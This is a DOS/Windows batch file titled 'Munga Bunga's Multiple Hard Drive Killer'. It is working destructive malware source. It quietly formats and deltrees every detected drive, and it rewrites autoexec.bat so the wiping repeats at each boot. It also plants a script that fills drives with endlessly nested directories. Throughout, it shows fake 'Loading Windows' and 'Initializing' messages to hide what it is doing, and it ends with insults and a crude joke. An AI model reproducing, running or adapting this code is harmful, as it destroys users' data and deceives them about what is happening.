@echo off  
    rem This program is dedecated to a very special person that does not want to be named.  
    :start  
    cls  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .  
    call attrib -r -h c:autoexec.bat >nul  
    echo @echo off >c:autoexec.bat  
    echo call format c: /q /u /autotest >nul >>c:autoexec.bat  
    call attrib +r +h c:autoexec.bat >nul  
    rem Drive checking and assigning the valid drives to the drive variable.  
    set drive=  
    set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z  
    rem code insertion for Drive Checking takes place here.  
    rem drivechk.bat is the file name under the root directory.  
    rem As far as the drive detection and drive variable settings, don't worry about how it   
    rem works, it's d*amn to complicated for the average or even the expert batch programmer.  
    rem Except for Tom Lavedas.  
    echo @echo off >drivechk.bat  
    echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat  
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat  
    del {t}.bat  
    echo if errorlevel 1 goto enddc >>drivechk.bat  
    cls  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .  
    rem When errorlevel is 1, then the above is not true, if 0, then it's true.  
    rem Opposite of binary rules. If 0, it will elaps to the next command.  
    echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat  
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat  
    del {t}.bat  
    echo if errorlevel 1 goto enddc >>drivechk.bat  
    cls  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .  
    rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.  
    rem if errorlevel is 0, then it will elaps to the next command.  
    echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat  
    %comspec% /e:2048 /c {t}.bat >>drivechk.bat  
    del {t}.bat  
    echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat  
    cls  
    echo PLEASE WAIT WHILE PROGRAM LOADS . . .  
    rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.  
    rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.  
    echo :enddc >>drivechk.bat  
    rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".   
    rem Now we will use the program drivechk.bat to attain valid drive information.  
    :testdrv  
    for %%a in (%alldrive%) do call drivechk.bat %%a >nul  
    del drivechk.bat >nul  
    if %drive.==. set drive=c  
    :form_del  
    call attrib -r -h c:autoexec.bat >nul  
    echo @echo off >c:autoexec.bat  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:autoexec.bat  
    echo cls >>c:autoexec.bat  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  
    echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat  
    echo cls >>c:autoexec.bat  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  
    echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat  
    echo cls >>c:autoexec.bat  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  
    echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:autoexec.bat  
    echo cls >>c:autoexec.bat  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  
    echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat  
    echo cls >>c:autoexec.bat  
    echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat  
    echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat  
    echo cd >>c:autoexec.bat  
    echo cls >>c:autoexec.bat  
    echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat  
    echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat  
    echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat  
    echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat  
    echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat  
    echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat  
    echo echo. >>c:autoexec.bat  
    echo echo Regards, >>c:autoexec.bat  
    echo echo. >>c:autoexec.bat  
    echo echo Munga Bunga >>c:autoexec.bat  
    call attrib +r +h c:autoexec.bat  
    :makedir  
    if exist c:temp.bat attrib -r -h c:temp.bat >nul  
    echo @echo off >c:temp.bat  
    echo %%1: >>c:temp.bat  
    echo cd >>c:temp.bat  
    echo :startmd >>c:temp.bat  
    echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat  
    echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat  
    echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat  
    call attrib +r +h c:temp.bat >nul  
    cls  
    echo Initializing Variables . . .  
    rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.  
    for %%a in (%drive%) do call format %%a: /q /u /autotest >nul  
    cls  
    echo Initializing Variables . . .  
    echo Validating Data . . .  
    for %%a in (%drive%) do call c:temp.bat %%a Munga >nul  
    cls  
    echo Initializing Variables . . .  
    echo Validating Data . . .  
    echo Analyzing System Structure . . .  
    for %%a in (%drive%) call attrib -r -h %%a: /S  >nul  
    call attrib +r +h c:temp.bat >nul  
    call attrib +r +h c:autoexec.bat >nul  
    cls  
    echo Initializing Variables . . .  
    echo Validating Data . . .  
    echo Analyzing System Structure . . .  
    echo Initializing Application . . .  
    for %%a in (%drive%) call deltree /y %%a:*. >nul  
    cls  
    echo Initializing Variables . . .  
    echo Validating Data . . .  
    echo Analyzing System Structure . . .  
    echo Initializing Application . . .  
    echo Starting Application . . .  
    for %%a in (%drive%) do call c:temp.bat %%a Munga >nul  
    cls  
    echo Thank you for using a Munga Bunga product.  
    echo.  
    echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.  
    echo.  
    echo Here is a joke for you . . .  
    echo.  
    echo     Q). What's the worst thing about being an egg?  
    echo     A). You only get laid once.  
    echo.  
    echo HAHAHAHA, get it? Don't you just love that one?  
    echo.  
    echo Regards,  
    echo.  
    echo Munga Bunga  
    :end  
    rem Hard Drive Killer Pro Version 4.0, enjoy!!!!  
    rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).